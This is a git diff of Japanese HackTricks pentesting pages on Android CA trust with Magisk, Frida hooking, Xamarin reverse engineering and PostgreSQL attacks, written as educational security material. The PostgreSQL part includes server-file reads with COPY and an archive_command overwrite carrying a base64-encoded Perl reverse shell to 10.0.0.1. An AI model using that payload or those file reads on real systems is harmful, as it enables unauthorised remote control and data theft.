2. **システムで信頼されるようにする**Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts).zipファイルをダウンロードし、それを電話にドラッグドロップし、電話のMagicsアプリに移動して「モジュール」セクションに移動し、「ストレージからインストール」をクリックし、`.zip`モジュールを選択し、インストール後に電話を**再起動**します。
2. **システムで信頼されるようにする**Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts).zipファイルをダウンロードし、それを電話にドラッグドロップし、電話のMagicsアプリに移動して**`モジュール`**セクションに移動し、**`ストレージからインストール`**をクリックし、`.zip`モジュールを選択し、インストール後に電話を**再起動**します。
<figure><img src="../../.gitbook/assets/image (2).png" alt="" width="345"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="345"><figcaption></figcaption></figure>
* 再起動後、「信頼された証明書」->「システム」に移動し、Postswigger証明書が存在することを確認します。
* 再起動後、`信頼された証明書` -> `システム`に移動し、Postswigger証明書が存在することを確認します。
<figure><img src="../../.gitbook/assets/image (3).png" alt="" width="314"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="314"><figcaption></figcaption></figure>
## 便利なAVDオプション
@ -293,10 +294,10 @@ adb reboot #Now, reboot the machine
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを入手してください。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -6,15 +6,15 @@
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -24,7 +24,7 @@
## Python
Fridaを使用すると、実行中のアプリケーションの関数に**JavaScriptコードを挿入**することができます。しかし、**python**を使用して**フックを呼び出したり**、**フック****対話したり**することもできます。
Fridaを使用すると、実行中のアプリケーションの関数に**JavaScriptコードを挿入**することができます。しかし、**python**を使用して**フックを呼び出したり**、**フックと対話したり**することもできます。
この簡単なpythonスクリプトは、このチュートリアルで提案されているすべての例に使用できます
```python
@ -129,13 +129,13 @@ return encrypted_ret;
```
## 重要
このチュートリアルでは、メソッドの名前と_.implementation_を使用してメソッドをフックしました。しかし、もし同じ名前の**複数のメソッド**がある場合は、フックしたいメソッドを**引数の型を指定して明示する必要があります**。
このチュートリアルでは、メソッドの名前と_.implementation_を使用してメソッドをフックしました。しかし、同じ名前の**複数のメソッド**がある場合は、フックしたいメソッドを**引数のタイプを指定して指定する必要があります**。
次のチュートリアルでそれを見ることができます。
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もし**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
もしあなたが**ハッキングのキャリア**に興味があり、ハッキングできないものをハックしたいのであれば、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -143,10 +143,10 @@ return encrypted_ret;
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -5,21 +5,20 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、iOS、Android、およびWindows向けのモダンなアプリを.NETおよびC#フレームワークを使用して作成するための包括的なツールとアドオンへの開発者のアクセスを提供するオープンソースプラットフォームです。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、iOS、Android、およびWindows向けのモダンなアプリを.NETおよびC#フレームワークを使用して作成するための包括的なツールとアドオンにアクセスできるオープンソースプラットフォームです。
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
## **基本情報**
Xamarinは、開発者が.NETおよびC#フレームワークを使用してiOS、Android、およびWindows向けのモダンなアプリを作成できるようにするオープンソースプラットフォームです。
Xamarinは、開発者が.NETおよびC#フレームワークを使用してiOS、Android、およびWindows向けのモダンなアプリを作成するための包括的なツールとアドオンにアクセスできるオープンソースプラットフォームです。
### Xamarin Androidアーキテクチャ&#x20;
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Xamarinは、Android.\*およびJava.\*の名前空間に対する.NETバインディングを提供します。Xamarin。
@ -37,7 +36,7 @@ Xamarin.iOSアプリケーションは、Monoランタイム環境で実行さ
以下の図は、このアーキテクチャを示しています:
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### .NetランタイムとMonoフレームワークとは何ですか
@ -47,13 +46,13 @@ Xamarin.iOSアプリケーションは、Monoランタイム環境で実行さ
## Xamarinアプリの逆向きエンジニアリングテクニック
## Xamarinアプリの逆向きエンジニアリング技術
### Xamarinアセンブリの逆コンパイル
逆コンパイルは、コンパイルされたコードからソースコードを生成するプロセスです。メモリに現在存在するアセンブリと実行可能ファイルに関する情報を入手するために、Windowsは非常に便利です。
逆コンパイルは、コンパイルされたコードからソースコードを生成するプロセスです。メモリに現在存在するアセンブリと実行可能ファイルに関する情報を取得するために、Windowsは素晴らしい場所です。
モジュールウィンドウを開くには、デバッグ>ウィンドウ>モジュールを選択します。逆コンパイルが必要なモジュールを検出したら、右クリックして「ソースをシンボルファイルに逆コンパイル」を選択します。この操作により、ソースコードが含まれるシンボルファイルが作成され、それによってソースコードから直接サードパーティのコードに入ることができます。
モジュールウィンドウを開くには、デバッグ > ウィンドウ > モジュールを選択します。逆コンパイルが必要なモジュールを検出したら、右クリックして「ソースをシンボルファイルに逆コンパイル」を選択します。この操作により、ソースコードが含まれたシンボルファイルが作成され、ソースコードから直接サードパーティのコードに入ることができます。
**Visual Studio**は、シンボルがなくてもマネージドコードを逆コンパイルし、コードを表示したり、変数を検査したり、ブレークポイントを設定したりすることができます。ソースコードをディスクに抽出するには、埋め込まれたソースを持つモジュールで右クリックし、「埋め込まれたソースを抽出」をクリックします。これにより、ソースファイルがさらなる分析のためにMiscellaneous filesフォルダにエクスポートされます。
@ -66,14 +65,14 @@ Xamarin.iOSアプリケーションは、Monoランタイム環境で実行さ
\- **iOS**iOSの場合、**ahead-of-timeコンパイル**のオプションは1つだけです。これは、Appleのポリシーにより、デバイス上で動的に生成されたコードの実行が禁止されているためです。
{% hint style="info" %}
フルAOTコンパイルされたアプリケーションに遭遇し、開発者がビルドサイズを減らすためにILアセンブリファイルを削除した場合、リバースエンジニアリングにはlibフォルダの.dll.soファイルまたは`libmonodroid_bundle_app.so`ファイルからdllファイルを抽出する追加の手順が必要です。ハイブリッドAOTコンパイルされたアプリで、ILファイルがアプリバンドルにまだ保持されて
フルAOTコンパイルされたアプリケーションに遭遇し、開発者がビルドサイズを減らすためにILアセンブリファイルを削除した場合、リバースエンジニアリングにはlibフォルダの.dll.soファイルまたは`libmonodroid_bundle_app.so`ファイルからdllファイルを抽出する追加の手順が必要です。ハイブリッドAOTコンパイルされたアプリで、IL
## APK/IPAからdllファイルを取得する
単にapk/ipaファイルを解凍し、assembliesディレクトリに存在するすべてのファイルをコピーします。
単にapk/ipaファイルを解凍し、assembliesディレクトリの下に存在するすべてのファイルをコピーします。
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
AndroidのAPKの場合、これらのdllファイルは圧縮されており、直接脱コンパイルに使用することはできません。幸いなことに、[XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)や[xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)などのツールを使用してこれらのdllファイルを解凍することができます。
Androidの場合、これらのdllファイルは圧縮されており、直接脱コンパイルに使用することはできません。幸いなことに、[XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)や[xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)などのツールを使用してこれらのdllファイルを解凍することができます。
```
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
@ -81,7 +80,7 @@ iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラ
**dllファイルをデコンパイルすると、ほとんどのアプリケーションコードが見つかります。**また、Xamarinフレームワークベースのアプリは、iOSやAndroidなどのすべてのプラットフォームのビルドに共通のコードの90%を含んでいます。
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
上記のスクリーンショットは、apkに存在するdllファイルのリストですが、これがXamarinアプリであることを確認できます。`Xamarin.Essentails.dll`や`Mono.Security.dll`など、アプリの実行に必要なアプリ固有のdllファイルとライブラリファイルが含まれています。
@ -91,7 +90,7 @@ iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラ
## 動的解析
アプリケーションにSSLピニングが設定されているかどうかを確認してください。設定されていない場合、BurpをシステムのCAとして使用してリクエストを傍受することができます。ここでは、JavaまたはObjCランタイムを使用したFridaは機能しませんが、幸いなことに、メソッドにフックするために使用できるツールがあります。
アプリケーションにSSLピニングが設定されているかどうかを確認してみてください。設定されていない場合、システムのCAとして動作するBurpを使用してリクエストを傍受することができます。ここでは、JavaまたはObjCランタイムを使用したFridaは機能しませんが、幸いなことに、メソッドにフックするために使用できるツールがあります。
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)は、Xamarinアプリ内の.NETバイナリをランタイムで簡単に変更することができます。静的解析を使用して、アプリ内に存在するさまざまなメソッドを特定し、Fridaxを使用して後で動的解析のためにフックすることができます。以下は、ルート検出やSSLピニングのバイパスに役立ついくつかのFridaスクリプトです
@ -107,8 +106,8 @@ iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラ
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。

View file

@ -12,9 +12,9 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もし**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合は、**採用中です**_流暢なポーランド語の読み書きが必要です_)。
もし**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたい場合は、**採用中です!**流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -56,9 +56,9 @@ Content-Length: 267
* `port:15672 http`
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -67,9 +67,9 @@ Content-Length: 267
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -57,7 +57,7 @@ Replace `<host>`, `<port>`, `<username>`, and `<database>` with the appropriate
Once connected to the PostgreSQL server, you can perform basic enumeration to gather information about the database.
PostgreSQLサーバーに接続したら、基本的な列挙を実行してデータベースに関する情報を収集することができます。
PostgreSQLサーバーに接続したら、基本的な列挙を実行してデータベースに関する情報を収集できます。
#### List Databases
@ -114,6 +114,24 @@ Replace `<table>` with the name of the table you want to describe.
`\d <テーブル>`
`<テーブル>`を説明したいテーブルの名前に置き換えてください。
#### Execute SQL Queries
#### SQLクエリの実行
You can execute SQL queries directly from the `psql` prompt. Simply type your SQL query and press Enter to execute it.
`psql`プロンプトから直接SQLクエリを実行できます。SQLクエリを入力し、Enterキーを押して実行します。
For example, to select all rows from a table, use the following command:
たとえば、テーブルからすべての行を選択するには、次のコマンドを使用します。
`SELECT * FROM <table>;`
Replace `<table>` with the name of the table you want to query.
`<table>`をクエリしたいテーブルの名前に置き換えてください。
```bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
@ -299,31 +317,15 @@ SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.ro
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values.
PostgreSQL provides a wide range of built-in functions that can be used for various purposes, such as mathematical calculations, string manipulation, date and time operations, and more. These functions can be called directly in SQL queries or used within user-defined functions.
PostgreSQL provides a wide range of built-in functions that can be used for various purposes, such as mathematical calculations, string manipulation, date and time operations, and more. These functions can be called directly in SQL queries or used within other functions.
To create a user-defined function in PostgreSQL, you can use the `CREATE FUNCTION` statement. This statement allows you to define the function name, input parameters, return type, and the code block that will be executed when the function is called.
In addition to the built-in functions, PostgreSQL also allows users to create their own custom functions. Custom functions can be written in various programming languages, including SQL, PL/pgSQL, PL/Python, PL/Perl, and more. This flexibility allows developers to extend the functionality of PostgreSQL and create custom solutions tailored to their specific needs.
Here is an example of creating a simple user-defined function that calculates the square of a number:
When performing a penetration test on a PostgreSQL database, it is important to identify and analyze the functions that are exposed by the database. By understanding the functionality and behavior of these functions, a penetration tester can identify potential vulnerabilities and security weaknesses that can be exploited.
```sql
CREATE FUNCTION square(num INTEGER) RETURNS INTEGER AS $$
BEGIN
RETURN num * num;
END;
$$ LANGUAGE plpgsql;
```
During the penetration testing process, it is common to analyze the input and output parameters of the functions, as well as the logic and flow of the code. This can help identify potential injection vulnerabilities, privilege escalation issues, and other security risks.
In this example, the function name is `square`, and it accepts an input parameter `num` of type `INTEGER`. The function returns an `INTEGER` value, which is the square of the input number.
Once the function is created, you can call it in SQL queries like any other built-in function:
```sql
SELECT square(5);
```
This will return the value `25`, which is the square of `5`.
Functions in PostgreSQL are powerful tools that can greatly enhance the functionality and flexibility of your database applications. By leveraging the built-in functions and creating your own custom functions, you can perform complex calculations and operations with ease.
In conclusion, functions play a crucial role in PostgreSQL databases and can be a valuable target for penetration testers. By understanding the functionality and behavior of these functions, testers can identify and exploit potential vulnerabilities, helping to improve the overall security of the database.
```sql
# Interesting functions are inside pg_catalog
\df * #Get all
@ -347,7 +349,7 @@ SELECT * FROM pg_proc;
### ディレクトリとファイルの読み取り
この[**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)では、**`DEFAULT_ROLE_READ_SERVER_FILES`**グループ(**`pg_read_server_files`**と呼ばれる)のメンバーと**スーパーユーザー**は、任意のパスで**`COPY`**メソッドを使用することができます(`genfile.c`の`convert_and_check_filename`をチェックしてください)。
この[**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)では、**`DEFAULT_ROLE_READ_SERVER_FILES`**グループ(**`pg_read_server_files`**と呼ばれる)のメンバーと**スーパーユーザー**は、任意のパスで**`COPY`**メソッドを使用できます(`genfile.c`の`convert_and_check_filename`をチェックしてください)。
```sql
# Read file
CREATE TABLE demo(t text);
@ -362,7 +364,7 @@ GRANT pg_read_server_files TO username;
[**詳細情報**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
他の**postgres関数**を使用して、**ファイルを読み取る****ディレクトリをリストする**ことができます。これらの関数は、**スーパーユーザー****明示的な権限を持つユーザー**のみが使用できます。
他の**postgres関数**を使用して、**ファイルを読み取るかディレクトリをリストする**ことができます。これらの関数は、**スーパーユーザー**および**明示的な権限を持つユーザー**のみが使用できます。
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
@ -386,9 +388,9 @@ SHOW data_directory;
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
より多くの関数は[https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)で見つけることができます。
**さらに多くの関数**は[https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)で見つけることができます。
### シンプルなファイル書き込み
### 簡単なファイル書き込み
ファイルの書き込みには、**スーパーユーザー**と**`pg_write_server_files`**のメンバーのみがcopyを使用できます。
@ -506,7 +508,7 @@ PostgreSQLの**設定ファイル**は、データベースを実行している
一般的な手順は次のとおりです:
1. アーカイブモードが有効かどうかを確認する:`SELECT current_setting('archive_mode')`
2. ペイロードで`archive_command`を上書きする。えば、リバースシェル:`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
2. ペイロードで`archive_command`を上書きする。たとえば、リバースシェル:`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. 設定をリロードする:`SELECT pg_reload_conf()`
